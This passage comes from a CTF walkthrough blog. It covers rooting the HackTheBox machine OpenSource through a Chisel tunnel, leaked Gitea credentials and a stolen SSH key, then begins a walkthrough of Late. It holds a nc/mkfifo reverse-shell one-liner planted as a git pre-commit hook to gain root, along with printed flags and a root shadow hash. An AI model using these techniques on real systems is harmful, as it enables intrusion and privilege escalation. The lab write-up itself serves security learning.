<title> Gitea: Git with a cup of tea</title>
<<span class="nb">link </span><span class="nv">rel</span><span class="o">=</span><span class="s2">"manifest"</span> <span class="nv">href</span><span class="o">=</span><span class="s2">"data:application/json;base64,eyJuYW1lIjoiR2l0ZWE6IEdpdCB3aXRoIGEgY3VwIG9mIHRlYSIsInNob3J0X25hbWUiOiJHaXRlYTogR2l0IHdpdGggYSBjdXAgb2YgdGVhIiwic3RhcnRfdXJsIjoiaHR0cDovL29wZW5zb3VyY2UuaHRiOjMwMDAvIiwiaWNvbnMiOlt7InNyYyI6Imh0dHA6Ly9vcGVuc291cmNlLmh0YjozMDAwL2Fzc2V0cy9pbWcvbG9nby5wbmciLCJ0eXBlIjoiaW1hZ2UvcG5nIiwic2l6ZXMiOiI1MTJ4NTEyIn0seyJzcmMiOiJodHRwOi8vb3BlbnNvdXJjZS5odGI6MzAwMC9hc3NldHMvaW1nL2xvZ28uc3ZnIiwidHlwZSI6ImltYWdlL3N2Zyt4bWwiLCJzaXplcyI6IjUxMng1MTIifV19"</span>/>
<meta <span class="nv">name</span><span class="o">=</span><span class="s2">"theme-color"</span> <span class="nv">content</span><span class="o">=</span><span class="s2">"#6cc644"</span><span class="o">></span>
<meta <span class="nv">name</span><span class="o">=</span><span class="s2">"default-theme"</span> <span class="nv">content</span><span class="o">=</span><span class="s2">"auto"</span> />
<meta <span class="nv">name</span><span class="o">=</span><span class="s2">"author"</span> <span class="nv">content</span><span class="o">=</span><span class="s2">"Gitea - Git with a cup of tea"</span> />
/app <span class="c"># </span>
</code></pre></div></div>
<p>And we can see port 3000 gives us access to <a href="https://github.com/go-gitea/gitea">Gitea</a>, which is the default port it uses when installed.</p>
<h2 id="chisel">Chisel</h2>
<p>We can’t interact with Gitea from this command line so let’s use <a href="https://github.com/jpillora/chisel">Chisel</a> to create a reverse proxy like we did with <a href="https://pencer.io/ctf/ctf-thm-wreath/#windows-pc---enumeration">Wreath</a> over on <a href="https://tryhackme.com/room/wreath">TryHackMe</a>.</p>
<p>If you need a good primer on Chisel then 0xdf has a good article here <a href="https://0xdf.gitlab.io/2020/08/10/tunneling-with-chisel-and-ssf-update.html">here</a>.</p>
<p>First grab the latest version:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/opensource]
└─# wget https://github.com/jpillora/chisel/releases/download/v1.7.7/chisel_1.7.7_linux_amd64.gz
<span class="nt">--2022-06-07</span> 22:38:39-- https://github.com/jpillora/chisel/releases/download/v1.7.7/chisel_1.7.7_linux_amd64.gz
Resolving github.com <span class="o">(</span>github.com<span class="o">)</span>... 140.82.121.3
Connecting to github.com <span class="o">(</span>github.com<span class="o">)</span>|140.82.121.3|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://objects.githubusercontent.com/github-production-release-asset-2e65be/31311037/ba3e7fe5-01fc-4b0c-b8eb-1b3a4c8eb61f?X-Amz-Algorithm<span class="o">=</span>AWS4-HMAC-SHA256&response-content-type<span class="o">=</span>application%2Foctet-stream
Resolving objects.githubusercontent.com <span class="o">(</span>objects.githubusercontent.com<span class="o">)</span>...
Connecting to objects.githubusercontent.com <span class="o">(</span>objects.githubusercontent.com<span class="o">)</span>|185.199.108.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3234355 <span class="o">(</span>3.1M<span class="o">)</span> <span class="o">[</span>application/octet-stream]
Saving to: ‘chisel_1.7.7_linux_amd64.gz’
chisel_1.7.7_linux_amd64.gz 100%[<span class="o">============>]</span> 3.08M 16.9MB/s <span class="k">in </span>0.2s
2022-06-07 22:38:40 <span class="o">(</span>16.9 MB/s<span class="o">)</span> - ‘chisel_1.7.7_linux_amd64.gz’ saved <span class="o">[</span>3234355/3234355]
┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/opensource]
└─# <span class="nb">gunzip </span>chisel_1.7.7_linux_amd64.gz
</code></pre></div></div>
<p>Start Chisel on Kali listening on port 4444 and with reverse port forwarding enabled:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/opensource]
└─# ./chisel_1.7.7_linux_amd64 server <span class="nt">--reverse</span> <span class="nt">--port</span> 4444
2022/06/08 22:09:18 server: Reverse tunnelling enabled
2022/06/08 22:09:18 server: Fingerprint 8ymq6peW4qfi+AJoA9KllYq7DGw0+LFnmbqIuXNpJ4k<span class="o">=</span>
2022/06/08 22:09:18 server: Listening on http://0.0.0.0:4444
2022/06/08 22:11:01 server: session#1: tun: proxy#R:127.0.0.1:1080<span class="o">=></span>socks: Listening
</code></pre></div></div>
<p>Now start a web server so we can pull that file over to our target box:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/opensource]
└─# python3 <span class="nt">-m</span> http.server 8000
Serving HTTP on 0.0.0.0 port 8000 <span class="o">(</span>http://0.0.0.0:8000/<span class="o">)</span> ...
</code></pre></div></div>
<p>Switch back to our shell on the box, grab the file and start Chisel in client mode:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/app <span class="c"># cd /tmp</span>
/tmp <span class="c"># wget http://10.10.14.166:8000/chisel_1.7.7_linux_amd64</span>
Connecting to 10.10.14.166:8000 <span class="o">(</span>10.10.14.166:8000<span class="o">)</span>
saving to <span class="s1">'chisel_1.7.7_linux_amd64'</span>
chisel_1.7.7_linux_a 12% |<span class="k">***</span> | 955k 0:00:07 ETA
chisel_1.7.7_linux_a 42% |<span class="k">*************</span> | 3329k 0:00:02 ETA
chisel_1.7.7_linux_a 72% |<span class="k">***********************</span> | 5680k 0:00:01 ETA
chisel_1.7.7_linux_a 100% |<span class="k">********************************</span>| 7888k 0:00:00 ETA
<span class="s1">'chisel_1.7.7_linux_amd64'</span> saved
/tmp <span class="c"># chmod +x chisel_1.7.7_linux_amd64</span>
/tmp <span class="c"># ./chisel_1.7.7_linux_amd64 client 10.10.14.166:4444 R:socks</span>
2022/06/08 21:11:01 client: Connecting to ws://10.10.14.166:4444
2022/06/08 21:11:01 client: Connected <span class="o">(</span>Latency 20.715259ms<span class="o">)</span>
</code></pre></div></div>
<p>Here we’ve told Chisel to connect to Kali on IP 10.10.14.166 port 4444. The R:socks options is used for the reverse connection. See the Chisel man page here:</p>
<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>When the chisel server has --reverse enabled, remotes can
be prefixed with R to denote that they are reversed. That
is, the server will listen and accept connections, and they
will be proxied through the client which specified the remote.
Reverse remotes specifying "R:socks" will listen on the server's
default socks port (1080) and terminate the connection at the
client's internal SOCKS5 proxy.
</code></pre></div></div>
<p>To be able to tunnel TCP commands on Kali through Chisel to the box we need to use <a href="https://github.com/haad/proxychains">proxychains</a>. One last thing to do is add our socks5 proxy address mentioned above in to our proxychains config file so it knows which local port to direct the traffic to:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/opensource/extracted]
└─# <span class="nb">cp</span> /etc/proxychains4.conf /etc/proxychains.conf
</code></pre></div></div>
<p>Copy the conf file and then add our socks5 line at the end:</p>
<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──(root㉿kali)-[~/htb/opensource/extracted]
└─# cat /etc/proxychains.conf
# proxychains.conf VER 4.x
#
# HTTP, SOCKS4a, SOCKS5 tunneling proxifier with DNS.
# The option below identifies how the ProxyList is treated.
# only one option should be uncommented at time,
<SNIP>
[ProxyList]
# add proxy here ...
# meanwile
# defaults set to "tor"
#socks4 127.0.0.1 9050
socks5 127.0.0.1 1080
</code></pre></div></div>
<h2 id="rustscan">RustScan</h2>
<p>We can now use proxychains with our reverse proxy tunnel provided by Chisel. For another bit of practice let’s use <a href="https://github.com/RustScan/RustScan">Rustscan</a> to look for open ports. This time we’re doing it from Kali.</p>
<p>Download it and install if needed:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/opensource]
└─# wget https://github.com/RustScan/RustScan/releases/download/2.0.1/rustscan_2.0.1_amd64.deb
<span class="nt">--2022-06-08</span> 22:19:56-- https://github.com/RustScan/RustScan/releases/download/2.0.1/rustscan_2.0.1_amd64.deb
Resolving github.com <span class="o">(</span>github.com<span class="o">)</span>... 140.82.121.3
Connecting to github.com <span class="o">(</span>github.com<span class="o">)</span>|140.82.121.3|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://objects.githubusercontent.com/github-production-release-asset-2e65be/278933035
Resolving objects.githubusercontent.com <span class="o">(</span>objects.githubusercontent.com<span class="o">)</span>... 185.199.110.133, 185.199.111.133, ...
Connecting to objects.githubusercontent.com <span class="o">(</span>objects.githubusercontent.com<span class="o">)</span>|185.199.109.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1460806 <span class="o">(</span>1.4M<span class="o">)</span> <span class="o">[</span>application/octet-stream]
Saving to: ‘rustscan_2.0.1_amd64.deb’
rustscan_2.0.1_amd64.deb 100%[<span class="o">===================================================================>]</span> 1.39M <span class="nt">--</span>.-KB/s <span class="k">in </span>0.1s
2022-06-08 22:19:57 <span class="o">(</span>13.5 MB/s<span class="o">)</span> - ‘rustscan_2.0.1_amd64.deb’ saved <span class="o">[</span>1460806/1460806]
┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/opensource]
└─# dpkg <span class="nt">-i</span> rustscan_2.0.1_amd64.deb
Selecting previously unselected package rustscan.
<span class="o">(</span>Reading database ... 293238 files and directories currently installed.<span class="o">)</span>
Preparing to unpack rustscan_2.0.1_amd64.deb ...
Unpacking rustscan <span class="o">(</span>2.0.0<span class="o">)</span> ...
Setting up rustscan <span class="o">(</span>2.0.0<span class="o">)</span> ...
Processing triggers <span class="k">for </span>kali-menu <span class="o">(</span>2021.4.2<span class="o">)</span> ...
</code></pre></div></div>
<p>Now use it to scan those ports we’ve confirmed are open:</p>
<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──(root㉿kali)-[~/htb/opensource]
└─# proxychains4 rustscan -a 172.17.0.1 -p 22,80,3000
[proxychains] config file found: /etc/proxychains.conf
[proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: https://discord.gg/GFrQsGy :
: https://github.com/RustScan/RustScan :
--------------------------------------
[~] The config file is expected to be at "/root/.rustscan.toml"
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'.
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.17.0.1:1 <--socket error or timeout!
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.17.0.1:2 <--socket error or timeout!
<SNIP>
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.17.0.1:22 ... OK
<SNIP>
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.17.0.1:80 ... OK
<SNIP>
[proxychains] Strict chain ... 127.0.0.1:1080 ... 172.17.0.1:3000 ... OK
Open 172.17.0.1:22
Open 172.17.0.1:80
Open 172.17.0.1:3000
</code></pre></div></div>
<p>That’s proved we can get to those ports from Kali via Chisel, through the container on IP 172.17.0.5 and across to the internal IP of the box on 172.17.0.1.</p>
<h2 id="gitea">Gitea</h2>
<p>Let’s have a look at Gitea on port 3000. First set a Proxy on FireFox, I use <a href="https://addons.mozilla.org/en-GB/firefox/addon/foxyproxy-standard/">FoxyProxy</a>:</p>
<p><img src="/assets/images/2022-06-08-23-12-55.png" alt="opensource-socks-proxy" /></p>
<p>Now we can browse to the website:</p>
<p><img src="/assets/images/2022-06-08-23-13-48.png" alt="opensource-gitea" /></p>
<p>I played around a little, created my own login, etc, but to proceed we need to use those credentials we found earlier in the git commit:</p>
<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dev01:Soulless_Developer#2022
</code></pre></div></div>
<p>Log in with them:</p>
<p><img src="/assets/images/2022-06-08-23-14-55.png" alt="opensource-gitea-login" /></p>
<p>The dashboard shows us the last few things the user did:</p>
<p><img src="/assets/images/2022-06-08-23-15-31.png" alt="opensource-dev01-home" /></p>
<p>That repo called home-backup sounds suspicious so let’s have a look:</p>
<p><img src="/assets/images/2022-06-08-23-16-00.png" alt="opensource-dev01-backup" /></p>
<p>It’s the users /home folder, let’s look in .ssh:</p>
<p><img src="/assets/images/2022-06-08-23-16-24.png" alt="opensource-dev01-ssh" /></p>
<p>We have their ssh keys, let’s copy the id_rsa file containing the private key:</p>
<p><img src="/assets/images/2022-06-08-23-18-29.png" alt="opensource-dev01-id_rsa" /></p>
<p>Paste it in to a file on Kali and change permissions:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/opensource]
└─# <span class="nb">cat </span>id_rsa
<span class="nt">-----BEGIN</span> RSA PRIVATE KEY-----
MIIJKQIBAAKCAgEAqdAaA6cYgiwKTg/6SENSbTBgvQWS6UKZdjrTGzmGSGZKoZ0l
xfb28RAiN7+yfT43HdnsDNJPyo3U1YRqnC83JUJcZ9eImcdtX4fFIEfZ8OUouu6R
u2TPqjGvyVZDj3OLRMmNTR/OUmzQjpNIGyrIjDdvm1/Hkky/CfyXUucFnshJr/BL
7FU4L6ihII7zNEjaM1/d7xJ/0M88NhS1X4szT6txiB6oBMQGGolDlDJXpe<SNIP>
┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/opensource]
└─# <span class="nb">chmod </span>600 id_rsa
</code></pre></div></div>
<h2 id="ssh-as-user-dev01">SSH As User dev01</h2>
<p>Now we can ssh in as the dev01 user:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/opensource]
└─# ssh <span class="nt">-i</span> id_rsa dev01@10.10.11.164
Welcome to Ubuntu 18.04.5 LTS <span class="o">(</span>GNU/Linux 4.15.0-176-generic x86_64<span class="o">)</span>
System information as of Wed Jun 8 22:19:55 UTC 2022
System load: 0.0 Processes: 279
Usage of /: 75.4% of 3.48GB Users logged <span class="k">in</span>: 1
Memory usage: 38% IP address <span class="k">for </span>eth0: 10.10.11.164
Swap usage: 0% IP address <span class="k">for </span>docker0: 172.17.0.1
Last login: Wed Jun 8 22:11:09 2022 from 10.10.14.112
dev01@opensource:~<span class="nv">$ </span>
</code></pre></div></div>
<p>Let’s grab the user flag before we move on:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dev01@opensource:~<span class="nv">$ </span><span class="nb">cat </span>user.txt
d9369780ee9ac6d706603da08e0dc7d9
</code></pre></div></div>
<h2 id="escalation-to-root">Escalation To Root</h2>
<p>Escalation to root is actually pretty simple. I did a bit of enumeration but nothing obvious stood out. Usually next things I try is look at running processes, sudo rights, and then pull LinPEAS over for a more detailed look. On this box it was processes that was the correct path.</p>
<h2 id="pspy64">Pspy64</h2>
<p>On Kali grab <a href="https://github.com/DominicBreuker/pspy">pspy64</a> and start a web server so we can get to it:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/opensource]
└─# wget https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64
<span class="nt">--2022-06-09</span> 22:31:56-- https://github.com/DominicBreuker/pspy/releases/download/v1.2.0/pspy64
Resolving github.com <span class="o">(</span>github.com<span class="o">)</span>... 140.82.121.4
Connecting to github.com <span class="o">(</span>github.com<span class="o">)</span>|140.82.121.4|:443... connected.
HTTP request sent, awaiting response... 302 Found
Location: https://objects.githubusercontent.com/github-production-release-asset-2e65be/120821432/d54f2200-c51c-11e9-8d82-f178cd27b2cb?X-Amz-Algorithm<span class="o">=</span>AWS4-HMAC-SHA256&X-Amz-Credential<span class="o">=</span>AKIAIWNJYAX4CSVEH53A%2F20220609%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date<span class="o">=</span>20220609T213156Z&X-Amz-Expires<span class="o">=</span>300&X-Amz-Signature<span class="o">=</span>27a79850c7226b0a9dab56aa96afed89248b262414bbc6415acbab911b52fa0d&response-content-type<span class="o">=</span>application%2Foctet-stream
Resolving objects.githubusercontent.com <span class="o">(</span>objects.githubusercontent.com<span class="o">)</span>...
Connecting to objects.githubusercontent.com <span class="o">(</span>objects.githubusercontent.com<span class="o">)</span>|185.199.111.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3078592 <span class="o">(</span>2.9M<span class="o">)</span> <span class="o">[</span>application/octet-stream]
Saving to: ‘pspy64’
pspy64 100%[<span class="o">====================================>]</span> 2.94M 18.2MB/s <span class="k">in </span>0.2s
2022-06-09 22:31:56 <span class="o">(</span>18.2 MB/s<span class="o">)</span> - ‘pspy64’ saved <span class="o">[</span>3078592/3078592]
┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/opensource]
└─# python3 <span class="nt">-m</span> http.server 8000
Serving HTTP on 0.0.0.0 port 8000 <span class="o">(</span>http://0.0.0.0:8000/<span class="o">)</span> ...
</code></pre></div></div>
<p>Back over to our ssh session on the box, pull pspy over:</p>
<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dev01@opensource:~/.git/hooks$ cd /dev/shm
dev01@opensource:/dev/shm$ wget http://10.10.14.184:8000/pspy64
--2022-06-09 21:32:37-- http://10.10.14.184:8000/pspy64
Connecting to 10.10.14.184:8000... connected.
HTTP request sent, awaiting response... 200 OK
Length: 3078592 (2.9M) [application/octet-stream]
Saving to: ‘pspy64’
pspy64 100%[===================>] 2.94M 2.25MB/s in 1.3s
2022-06-09 21:32:38 (2.25 MB/s) - ‘pspy64’ saved [3078592/3078592]
</code></pre></div></div>
<p>Make it executable and then start it watching:</p>
<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dev01@opensource:/dev/shm$ chmod +x pspy64
dev01@opensource:/dev/shm$ ./pspy64
pspy - version: v1.2.0 - Commit SHA: 9c63e5d6c58f7bcdc235db663f5e3fe1c33b8855
██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░
Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scannning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...done
2022/06/09 21:33:26 CMD: UID=0 PID=96 |
2022/06/09 21:33:26 CMD: UID=0 PID=922 | /usr/bin/vmtoolsd
2022/06/09 21:33:26 CMD: UID=0 PID=920 | /usr/bin/VGAuthService
2022/06/09 21:33:26 CMD: UID=0 PID=90 |
2022/06/09 21:33:26 CMD: UID=0 PID=9 |
<SNIP>
2022/06/09 21:34:01 CMD: UID=0 PID=12735 | /bin/bash /usr/local/bin/git-sync
2022/06/09 21:34:01 CMD: UID=0 PID=12742 | git add .
2022/06/09 21:34:01 CMD: UID=0 PID=12743 | git commit -m Backup for 2022-06-09
2022/06/09 21:34:01 CMD: UID=0 PID=12745 | /usr/lib/git-core/git-remote-http origin http://opensource.htb:3000/dev01/home-backup.git
2022/06/09 21:34:01 CMD: UID=0 PID=12744 | git push origin main
<SNIP>
2022/06/09 21:35:01 CMD: UID=0 PID=13378 | git add .
2022/06/09 21:35:01 CMD: UID=0 PID=13379 | git commit -m Backup for 2022-06-09
2022/06/09 21:35:01 CMD: UID=0 PID=13380 | git push origin main
2022/06/09 21:35:01 CMD: UID=0 PID=13381 | /usr/lib/git-core/git-remote-http origin http://opensource.htb:3000/dev01/home-backup.git
</code></pre></div></div>
<h2 id="exploiting-git-commit">Exploiting Git Commit</h2>
<p>Amongst the output we can see above there is a <strong>git commit</strong> running every minute. For CTF something like this is always suspicious, but I didn’t know of a way to exploit. A quick look around found <a href="https://www.atlassian.com/git/tutorials/git-hooks">this</a> good article from Atlassian which explains how we can use hooks to get code execution.</p>
<p>With the <strong>git commit</strong> being run regularly we can use the pre-commit file to execute commands before the commit is done. So it’s nice and simple to get a reverse shell, we just put the one we used earlier in to a file called pre-commit in the dev01 users .git/hooks folder:</p>
<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>dev01@opensource:~/.git/hooks$ echo '#!/bin/bash
> rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.10.14.184 1337 >/tmp/f' > /home/dev01/.git/hooks/pre-commit
dev01@opensource:~/.git/hooks$ chmod +x /home/dev01/.git/hooks/pre-commit
</code></pre></div></div>
<p>Now when the cron job running as root executes the <strong>git commit</strong> our pre-commit file is also executed as root. Switch to a waiting nc listener and within a minute we have our root shell connected:</p>
<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──(root㉿kali)-[~/htb/opensource]
└─# nc -nlvp 1337
listening on [any] 1337 ...
connect to [10.10.14.184] from (UNKNOWN) [10.10.11.164] 49284
root@opensource:/home/dev01#
</code></pre></div></div>
<p>We’ve made it to root, let’s grab the flag and we’ve completed another box:</p>
<div class="language-text highlighter-rouge"><div class="highlight"><pre class="highlight"><code>root@opensource:/home/dev01# cat root.txt
afaeaf858c16b8ae9f6979629702652e
root@opensource:~# cat /etc/shadow | grep root
root:$6$5sA85UVX$HupltM.bMqXkLc269pHDk1lryc4y5LV0FPMtT3x.yUdbe3mGziC8aUXWRQ2K3jX8mq5zItFAkAfDgPzH8EQ1C/:19072:0:99999:7:::
</code></pre></div></div>
<p>All done. I hope this walkthrough helped you learn a thing or two. See you next time.</p>{"name"=>nil, "avatar"=>"/assets/images/BlackUnicorn.png", "bio"=>"Hacking. A lot of hacking. Mostly CTFs, but then other stuff too when I get round to it.", "links"=>[{"label"=>"Website", "icon"=>"fas fa-fw fa-link", "url"=>"https://pencer.io"}, {"label"=>"Twitter", "icon"=>"fab fa-fw fa-twitter-square", "url"=>"https://twitter.com/pencer_io"}, {"label"=>"GitHub", "icon"=>"fab fa-fw fa-github", "url"=>"https://github.com/pencer-io/"}]}OpenSource is an easy level machine by irogir on HackTheBox. It focuses on applications, containers and working with git.Walk-through of Late from HackTheBox2022-09-11T00:00:00+01:002022-09-11T00:00:00+01:00https://pencer.io/ctf/ctf-htb-late<h2 id="machine-information">Machine Information</h2>
<p><img src="/assets/images/2022-04-24-21-51-19.png" alt="late" /></p>
<p>Late is rated as an easy machine on HackTheBox. The path to root is fairly simple on this box, but with a tricky to get right section where we need to create an image that is read via OCR to text. We take advantage of an SSTI vulnerability on the website on the box to get remote code execution which gives us a shell. From there we find a script is run every time an SSH login is detected, and we take advantage of an append attribute to get code execution as root and complete the box.</p>
<!--more-->
<p>Skills required are knowledge of server side template injections (SSTI) and enumerating to find vulnerabilities. Skills learned are image manipulation using ImageMagick and taking advantage of misconfigured attributes on files.</p>
<table>
<thead>
<tr>
<th>Details</th>
<th> </th>
</tr>
</thead>
<tbody>
<tr>
<td>Hosting Site</td>
<td><a href="https://www.hackthebox.eu">HackTheBox</a></td>
</tr>
<tr>
<td>Link To Machine</td>
<td><a href="https://www.hackthebox.com/home/machines/profile/463">HTB - Easy - Late</a></td>
</tr>
<tr>
<td>Machine Release Date</td>
<td>23rd April 2022</td>
</tr>
<tr>
<td>Date I Completed It</td>
<td>26th April 2022</td>
</tr>
<tr>
<td>Distribution Used</td>
<td>Kali 2022.1 – <a href="https://www.kali.org/blog/kali-linux-2022-1-release/">Release Info</a></td>
</tr>
</tbody>
</table>
<h2 id="initial-recon">Initial Recon</h2>
<p>As always let’s start with Nmap:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/late]
└─# <span class="nv">ports</span><span class="o">=</span><span class="si">$(</span>nmap <span class="nt">-p-</span> <span class="nt">--min-rate</span><span class="o">=</span>1000 <span class="nt">-T4</span> 10.10.11.156 | <span class="nb">grep</span> ^[0-9] | <span class="nb">cut</span> <span class="nt">-d</span> <span class="s1">'/'</span> <span class="nt">-f</span> 1 | <span class="nb">tr</span> <span class="s1">'\n'</span> <span class="s1">','</span> | <span class="nb">sed </span>s/,<span class="nv">$/</span>/<span class="si">)</span>
┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/late]
└─# nmap <span class="nt">-p</span><span class="nv">$ports</span> <span class="nt">-sC</span> <span class="nt">-sV</span> <span class="nt">-oA</span> late 10.10.11.156
Starting Nmap 7.92 <span class="o">(</span> https://nmap.org <span class="o">)</span> at 2022-04-24 21:54 BST
Nmap scan report <span class="k">for </span>10.10.11.156
Host is up <span class="o">(</span>0.11s latency<span class="o">)</span><span class="nb">.</span>
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.6 <span class="o">(</span>Ubuntu Linux<span class="p">;</span> protocol 2.0<span class="o">)</span>
| ssh-hostkey:
| 2048 02:5e:29:0e:a3:af:4e:72:9d:a4:fe:0d:cb:5d:83:07 <span class="o">(</span>RSA<span class="o">)</span>
| 256 41:e1:fe:03:a5:c7:97:c4:d5:16:77:f3:41:0c:e9:fb <span class="o">(</span>ECDSA<span class="o">)</span>
|_ 256 28:39:46:98:17:1e:46:1a:1e:a1:ab:3b:9a:57:70:48 <span class="o">(</span>ED25519<span class="o">)</span>
80/tcp open http nginx 1.14.0 <span class="o">(</span>Ubuntu<span class="o">)</span>
|_http-title: Late - Best online image tools
|_http-server-header: nginx/1.14.0 <span class="o">(</span>Ubuntu<span class="o">)</span>
Service Info: OS: Linux<span class="p">;</span> CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ <span class="nb">.</span>
Nmap <span class="k">done</span>: 1 IP address <span class="o">(</span>1 host up<span class="o">)</span> scanned <span class="k">in </span>11.50 seconds
</code></pre></div></div>
<h2 id="website">Website</h2>
<p>Only port 80 to look at for now:</p>
<p><img src="/assets/images/2022-04-24-21-56-41.png" alt="late-website" /></p>
<p>Nothing here, just a single static page with information about an online image editor. Further down there is a link to images.late.htb and at the bottom there’s an email address with late.htb, let’s add these to our host file:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/late]
└─# <span class="nb">echo</span> <span class="s2">"10.10.11.156 late.htb images.late.htb"</span> <span class="o">>></span> /etc/hosts
</code></pre></div></div>
<p>Now we can look at the images sub-domain:</p>
<p><img src="/assets/images/2022-04-24-22-32-34.png" alt="late-images" /></p>
<h2 id="imagemagick">ImageMagick</h2>
<p>The only thing we can do here is upload an image and the Flask app converts it to text and returns it as a file. Let’s test it using the ImageMagick convert utility to create our image:</p>
<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>┌──<span class="o">(</span>root㉿kali<span class="o">)</span>-[~/htb/late]
└─# convert
Command <span class="s1">'convert'</span> not found, but can be installed with:
apt <span class="nb">install </span>graphicsmagick-imagemagick-compat
Do you want to <span class="nb">install </span>it? <span class="o">(</span>N/y<span class="o">)</span>y
apt <span class="nb">install </span>graphicsmagick-imagemagick-compat
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
The following additional packages will be installed:
ghostscript graphicsmagick gsfonts libgraphicsmagick-q16-3 libwmf-0.2-7 libwmf0.2-7 libwmflite-0.2-7
The following NEW packages will be installed:
ghostscript graphicsmagick graphicsmagick-imagemagick-compat gsfonts libgraphicsmagick-q16-3 libwmf-0.2-7 libwmflite-0.2-7
1 upgraded, 7 newly installed, 0 to remove and 150 not upgraded.
Need to get 5,692 kB of archives.
After this operation, 13.8 MB of additional disk space will be used.
Do you want to <span class="k">continue</span>? <span class="o">[</span>Y/n] y
<SNIP>
Setting up libgraphicsmagick-q16-3 <span class="o">(</span>1.4+really1.3.38-1<span class="o">)</span> ...
Setting up libwmf0.2-7:amd64 <span class="o">(</span>0.2.12-5<span class="o">)</span> ...
Setting up graphicsmagick <span class="o">(</span>1.4+really1.3.38-1<span class="o">)</span> ...
Setting up graphicsmagick-imagemagick-compat <span class="o">(</span>1.4+really1.3.38-1<span class="o">)</span> ...
Processing triggers <span class="k">for </span>man-db <span class="o">(</span>2.10.2-1<span class="o">)</span> ...
Processing triggers <span class="k">for </span>mailcap <span class="o">(</span>3.70+nmu1<span class="o">)</span> ...
Processing triggers <span class="k">for </span>fontconfig <span class="o">(</span>2.13.1-4.4<span class="o">)</span> ...
Processing triggers <span class="k">for </span>kali-menu <span class="o">(</span>2021.4.2<span class="o">)</span> ...
